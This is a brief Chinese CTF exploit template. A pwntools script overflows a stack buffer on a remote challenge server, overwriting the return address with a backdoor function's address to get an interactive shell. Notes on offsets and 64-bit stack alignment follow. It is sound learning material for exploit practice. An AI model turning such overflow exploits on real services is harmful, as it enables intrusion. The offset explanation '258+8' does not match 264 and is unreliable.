exp模板

1
2
3
4
5
6
7
8
9
10
from pwn import *

io = remote("39.106.48.123", 29826)

payload = b"A"*264 + p64(0x401202)

io.sendline(payload)

io.interactive()

264即258+8,258是rbp的位置,ida里一般是16位,0x401202为后门函数入栈的地址

注意:1.一定不要忘记加4/8个字节覆盖栈底寄存器 2.在64位程序中,如果不成功,可能是栈没有对齐,需要把后门函数的地址往后加两个单位